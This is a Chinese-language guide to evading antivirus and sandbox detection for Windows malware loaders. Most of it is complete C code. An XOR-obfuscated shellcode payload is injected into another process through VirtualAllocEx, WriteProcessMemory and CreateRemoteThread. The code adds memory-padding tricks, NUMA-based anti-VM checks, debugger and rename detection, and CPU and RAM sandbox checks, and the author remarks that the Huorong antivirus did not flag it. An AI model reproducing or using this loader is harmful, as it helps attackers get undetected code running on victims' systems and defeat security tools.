加大分配内存
核心:
char *mem = NULL;
mem = (char *) malloc(100000000);
if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);
//OpenProcess,VirtualAllocEx,CreateRemoteThread
}
类似于对付waf时填充垃圾数据消耗内存的做法,顾及扫描效率,一些杀软可能会对扫描的目标文件的大小做一些限制
用xor混淆一下shellcode,躲避那些单纯标记msfvenom的杀软
#include <stdio.h>
#include <windows.h>
unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x5, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x7, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x9, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x6, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x6, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x1, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x2, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0xf, 0x6f, 0xe3, 0x89, 0x85, 0x1, 0x6e, 0xde, 0x3e, 0x7e, 0xb, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x6, 0x15, 0x7, 0x6, 0x57, 0x8, 0x1, 0x16, 0x75 };
unsigned int my_payload_len = sizeof(my_payload);
char my_secret_key[] = "mysupersecretkey";
void XOR(char* data, size_t data_len, char* key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int main(int argc, char* argv[]) {
HANDLE ph;
HANDLE rt;
PVOID rb;
DWORD pid;
pid = atoi(argv[1]);
char* mem = NULL;
mem = (char*)malloc(100000000);
if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
printf("PID: %i", pid);
XOR((char*)my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));
rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
}
火绒没报
反虚拟机
VirtualAllocExNuma是VirtualAllocEx函数的一种版本,它可以用来检测自身是否处于某些虚拟机中,可以指定NUMA节点分配物理页来确定当前环境是否真的有物理内存,下面时gpt给出的示例
#include <windows.h>
#include <winnt.h>
#include <iostream>
using namespace std;
typedef LPVOID(WINAPI* pVirtualAllocExNuma)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD, DWORD);
pVirtualAllocExNuma myVirtualAllocExNuma;
int main()
{
//获取VirtualAllocExNuma函数的地址
myVirtualAllocExNuma = (pVirtualAllocExNuma)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocExNuma");
//指定NUMA节点为0,在进程中分配1000字节的内存空间
HANDLE hProcess = GetCurrentProcess();
DWORD dwPreferredNode = 0; //指定NUMA节点为0
LPVOID lpAddress = NULL;
SIZE_T dwSize = 1000;
DWORD flAllocationType = MEM_RESERVE | MEM_COMMIT;
DWORD flProtect = PAGE_EXECUTE_READWRITE;
DWORD_PTR dwRet = myVirtualAllocExNuma(hProcess, lpAddress, dwSize, flAllocationType, flProtect, dwPreferredNode);
if (dwRet == NULL)
{
cout << "分配内存失败" << endl;
return -1;
}
else
{
cout << "分配内存成功,内存地址为:" << dwRet << endl;
return 0;
}
}
这两行代码获取处理器核心数等系统信息
SYSTEM_INFO s;
GetSystemInfo(&s);
以及后面的一系列函数,均是以常理的计算机标准来规避一些基础的沙箱,达到规避的目的
完整代码示例如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <memoryapi.h>
typedef LPVOID(WINAPI* pVirtualAllocExNuma) (
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect,
DWORD nndPreferred
);
// 物理页分配内存
BOOL checkNUMA() {
LPVOID mem = NULL;
pVirtualAllocExNuma myVirtualAllocExNuma = (pVirtualAllocExNuma)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocExNuma");
mem = myVirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
if (mem != NULL) {
return false;
}
else {
return true;
}
}
BOOL checkResources() {
SYSTEM_INFO s;
MEMORYSTATUSEX ms;
DWORD procNum;
DWORD ram;
// 检测处理器核心数
GetSystemInfo(&s);
procNum = s.dwNumberOfProcessors;
if (procNum < 2) return false;
// 检测RAM,一般机器不会小于2G
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
if (ram < 2) return false;
return true;
}
unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x5, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x7, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x9, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x6, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x6, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x1, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x2, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0xf, 0x6f, 0xe3, 0x89, 0x85, 0x1, 0x6e, 0xde, 0x3e, 0x7e, 0xb, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x6, 0x15, 0x7, 0x6, 0x57, 0x8, 0x1, 0x16, 0x75 };
unsigned int my_payload_len = sizeof(my_payload);
char my_secret_key[] = "mysupersecretkey";
void XOR(char* data, size_t data_len, char* key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer
DWORD pid; // process ID
pid = atoi(argv[1]);
// 检测改名
if (strstr(argv[0], "example.exe") == NULL) {
printf("you changed my name:(\n");
return -2;
}
// 检测调试器
if (IsDebuggerPresent()) {
printf("attached debugger detected :(\n");
return -2;
}
// 验证分配的NUMA节点
if (checkNUMA()) {
printf("NUMA memory allocate failed :( \n");
return -2;
}
// 检查沙箱
if (checkResources() == false) {
printf("possibly launched in sandbox :(\n");
return -2;
}
// 加大内存分配
char* mem = NULL;
mem = (char*)malloc(100000000);
if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
printf("PID: %i", pid);
XOR((char*)my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));
rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
}